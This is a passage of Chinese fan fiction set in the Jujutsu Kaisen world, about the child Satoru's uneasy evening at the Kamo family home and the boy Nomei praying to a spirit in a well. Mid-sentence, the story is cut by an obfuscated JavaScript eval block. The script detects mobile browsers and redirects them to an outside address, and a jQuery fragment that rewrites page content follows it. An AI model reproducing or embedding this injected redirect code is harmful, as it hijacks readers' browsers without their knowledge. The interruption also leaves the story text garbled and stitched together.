头一次看到游戏机的野梅伸头打量着,GB机的屏幕上,星之卡比正咕噜噜地跳跃着。屏幕很小,只有孩子的手心大小,野梅不得不靠近了悟,几乎是侧在对方的头颅一旁。
一开始他觉得很是无趣,但流行游戏总是拥有着吸引人的特质。
“给我玩玩嘛。”野梅央求着,甚至拢住了对方的手臂。
“等会。”这不知道是悟第几次说这句话了,他在这一关死了五回,每一次都会被家园威胁者杀死。他操纵着星之卡比跳跃着,粉色的毛绒玩具噔噔噔地在地面上跑着,不时发起着攻击。
野梅脸上的兴趣盎然逐渐变成了扫兴,悟似乎忘记了身旁的观望者,直到那毛绒绒的黑发蹭在他脖子上,他才意识到自己的“等会”已经过去了很久。
时钟已经打过了好两个小时,堇子应该不会在这里过夜,也许用了晚餐后就会离开。想到这里,悟推了推野梅,让这个看起来就有些傻乎乎的孩子坐直了。
野梅打了个寒颤,他的眼皮下意识地打开,梅红色的眼珠中逐渐闪起光亮。
“吃饭了!”脑袋里除了睡觉就是吃喝的野梅,猛地站起了身。因为长时期盘坐而变得麻木的双腿失去了知觉,撞击的钝痛感让他清醒了过来。
悟的眉头微微蹙着,而野梅的眼中含着一汪热泪。下肢的生命正在逐渐回归,酸麻胀痛的感觉简直比杀了他还要难受。他像只受伤的鸭子般嘎嘎叫着,听起来不太像哭声,更像是一种嚎叫。
纸门被“唰”地推开了。在野梅的哭声中,一对长相文雅的男女出现在了门口。悟仍然坐在榻榻米上,他一眼就认出了其中的女人是野梅的母亲。无论是脸型还是眼睛,都生长得一模一样。都说儿子肖母,悟和野梅都遗传了母亲的长相。只不过,野梅的母亲眼神呆板,看着与常人有所不同。
加茂桔子脱了鞋,在榻榻米上蹲了下来。野梅靠在母亲的衣襟处,眼泪顺着鼻梁向下滚动。桔子似乎是习惯了这样的情形,用手揉动着小腿处硬邦邦的肌肉。
加茂秀介认出了悟,当妻子正在照料孩子的时候,他寻常地问候着。和加茂家的男子们一样,野梅的父亲也留着一头长发,只是在脑后梳作马尾,流出洁净的侧脸和脖颈。
“野梅今天和悟君做上朋友了么。”戴着金丝眼镜的青年说出这句话的时候,眼神却一直直勾勾地盯着悟。他和妻子的眼睛都是相同的梅红,电灯光下流淌着像血一样的深红。
一种诡谲的氛围像雾气般悄然围绕在悟的身边,不是实际的咒力,只是一种发自内心的感觉,阴森森的像是夏夜故事里的鬼怪。
悟顺势站了起来,两人间的身高差看起来充满了成人对孩童的压迫性。这样的接触仅仅持续了两秒钟,加茂秀介便挪开了视线,“我们一起走吧,可以用餐了。”
……
……
野梅坐在父亲的怀中,果不其然,他遭到了哥哥姐姐们的嘲笑。
“又不是小孩子了。”
“秀介,你也太宠着他了。”
不绝于耳的声音让野梅有些害臊,他晃动着双腿,试图从父亲的怀抱里离开。可秀介的手臂里像是嵌着钢铁,勒得他的骨头有些嗡嗡作响。
野梅一家在餐桌的尾端落座,悟和继母则坐在家主的左二侧位。隔着七八座的距离,悟看到野梅的眼眶仍然有些红红的。他想到自己有一次撞到了手肘,少见地哭了。还在生长的脆弱的关节受伤之后,悟一直很在意这回事。
顺着座位一路看去,悟又见到了许多男孩女孩。有和野梅一块的双胞胎姐妹(这时候悟知道了她们的姓名分别叫做美兰和美桃),长相相似但年龄不同的两个男孩,脸上有着雀斑的男孩,看起来十分柔弱的女孩,眼睛上挑的女孩……其中最年长的,是个看上去十五六岁的少年,只是脸色发白,看着有些萎靡不振。
没等家主落座,堇子就已经忍不住喝了一杯酒。她对酒没什么品味,只是单纯地酷爱喝酒。因此,堇子总是不时地被政江所埋怨。
加茂家主随后缓缓落座,他是个约莫六十岁的男子,从五官的轮廓中能够依稀看出对方年轻的时候也是个美男子。
悟没什么兴趣的用着餐,加茂家主客套了几句话后便离开了,原本几乎寂静的客厅中顿时充满了吵嚷的声音。这是政江最不愿意看见的场面,她总是在人家背面嘀咕着,说这是失去了名门的气质云云。明明她从前也是个普通的产婆,也不知道什么时候沾染上了这样的习性。
与堇子相熟的堂姐姐夫们低声说着些什么,悟听了几句,顿感无趣。其实他也意识到了,堇子之所以会带着他来到加茂家的缘由,孩子们少见地汇集在一起的缘由,选择加茂家而非禅院家的缘由——
家族,婚姻,爱情。
野梅在桌旁探着身子,离他有一段距离的桌面上摆放着一盘仿佛是栗子冰糕的点心。他父亲则目不转睛地盯着妻子,加茂桔子似乎正在发呆,眼神虚无缥缈,注意力完全不在眼前的宴席上。
餐前,秀介从口袋里取出了几颗白色药片喂给了她的妻子。
这对皮肤白皙、五官端正的夫妻之间,存在着一种即便是外人也能察觉出的不可插-入的绝对引力。
无缘由地,悟感知到一种森冷的含义。
食之无味地用了一些餐点后,趁着堇子不注意,悟从椅子上跳了下去。和服与裙装成了完美的遮掩物,但说实话,注意力不在他身上的人,哪怕位子上空空如也如此显然,也不会有人发现他。
大人们总是把小孩当成什么都不懂的傻瓜,哪怕是当事人的事情,他们也很少直接与本人联系。
真是不愉快的夜晚。
悟想象着自己单独回家的情形,反正堇子也有钱,又或许她今夜甚至都不回家了。
与热闹的餐厅所不同,外部的庭院清冷的多。悟用肉眼观察着加茂家,这里也游荡着许多灵。有的如米粒般细小,有的则是庞然大物。
有些古板的术师,还用着曾经的方法来判断幼儿的灵感。看到的灵越大、越多,意味着天赋更加超进。因此,他们舍弃了对家园内咒灵们的清扫,只是当做装饰物一般任它们活动着。
并非完全赞同这种说法,但悟也并不是全然反对。他的视线逡巡了一周,这庭院中全数的生物都落入他的眼中。如果是政江,她什么都不会发现。如果是堇子,她会看见趴伏在桥旁的黑狗。
悟瞥了眼守卫在正房上的两个巨型达摩形状的咒灵,暗叹真是丑陋的生物。
野梅粗糙的脚步声在他一旁响起的时候,悟还在打量围墙边的瘦长鬼影。
野梅的手心里还握着几颗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575167|171537||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
青枣,他的父亲又一次陷入了热情的传教活动中,野梅因此得到了解放。
青枣在悟的脸颊上制造了一个凹陷,面对这充满了邪恶气息的庭院,野梅却视若无睹。悟用短短的半天认定,野梅既愚笨又无能,他甚至无法在对方身上察觉到咒力的流动。
禅院家似乎也有一个没有咒力的家伙,不过比悟要大上好几岁,并非同时代的子辈。
“吃嘛。”虽然这么说着,但野梅已经往自己的口腔中塞入了一颗青枣。悟勉为其难地接过了这颗枣子,比起青枣,他更喜欢吃草莓,也许他现在就该打个电话回家,让政江去买些新鲜草莓来。
悟的眼中,一颗巨大的眼睛从他的屏障旁飘过,来到了野梅的眼前。后者自顾自地咀嚼着食物,低着头,像是在数落自己的五根脚趾还在不在脚掌之上。
沉默只持续了一会儿,野梅吐出了一枚核,向着远方的草丛丢了进去。随后,他表现得些许扭捏,并用眼角的目光悄悄看着悟的脸。
“可不可以给我玩游戏机……?”野梅偏着头,鼻头微微皱着,眼里只有对游戏的火热。
以为人家追着自己出来的悟,没想到竟是这种理由。
悟的情绪表现得微微有些夸张,他一声不吭,亲自制造的沉默令野梅节节败退。
野梅懊恼地说:“那算了。”不过,他的表情并不完全是这么说的,似乎是在琢磨着什么。
涌入这庭院中的黑夜,在夜灯的照耀下,界限更加分明。
秉持着自己不高兴也不能让对方也高兴的心态,悟在石座上坐了下来,只剩下一些电量的掌机微微泛着荧光。
野梅有些恼羞成怒,他忽然看了一眼别处,很快便挪开了眼神。
讨厌。
讨厌啦。
野梅低着头离开了,头颈垂着,支撑着下坠的头颅,像一株被压弯的狗尾草。他小跑起来,悟扬起脸颊,蓝色的左眼注视着对方笨拙的姿态。
野梅踢着地面上的石子,碎石离它原来的方位越来越远。
在生活上,父母一向很严格。无论是零食还是玩物,都亲自把控着。
野梅越想越是渴望,一时间的愿望压过了别的什么。趁着父母还在席上,他回到了房间中。打开窗户的那一刻,一阵冷冷的阴风吹拂向他的双颊。
野梅攀过窗口,踩在了早就被压垮的草地上,一口看似普通得不能再普通的石井安静地坐立着,缝隙里的青苔已经生长了很多年,像是披上了一件深绿的外衣。
野梅把之前剩下的点心全都倒了下去,咚咚咚,细碎的撞击声很快就停下了。他垫着脚往井里看着,井里黑洞洞的,干涸的井底似乎摆放着什么。
“福神福神。”野梅握紧双拳,向往常那样祈求着。他的手指紧贴着手指,合上眼的时候,一张黑深深的脸压在他的眼皮上。保持着三四厘米的距离,网球大的眼球,手掌大的口鼻,薄薄的纸一样地皮肤下流淌着死掉的血。
想象中游戏机的模样,野梅诚恳地祈祷着。每个周末,他都跟父母前往极乐净世教派,向供奉的女神祈求幸福与美满。不过,女神从未回应过他们的声音。
但福神不一样。
从一年前起,野梅就向这井中之神许愿。
福神是会为野梅实现愿望的,慷慨的神。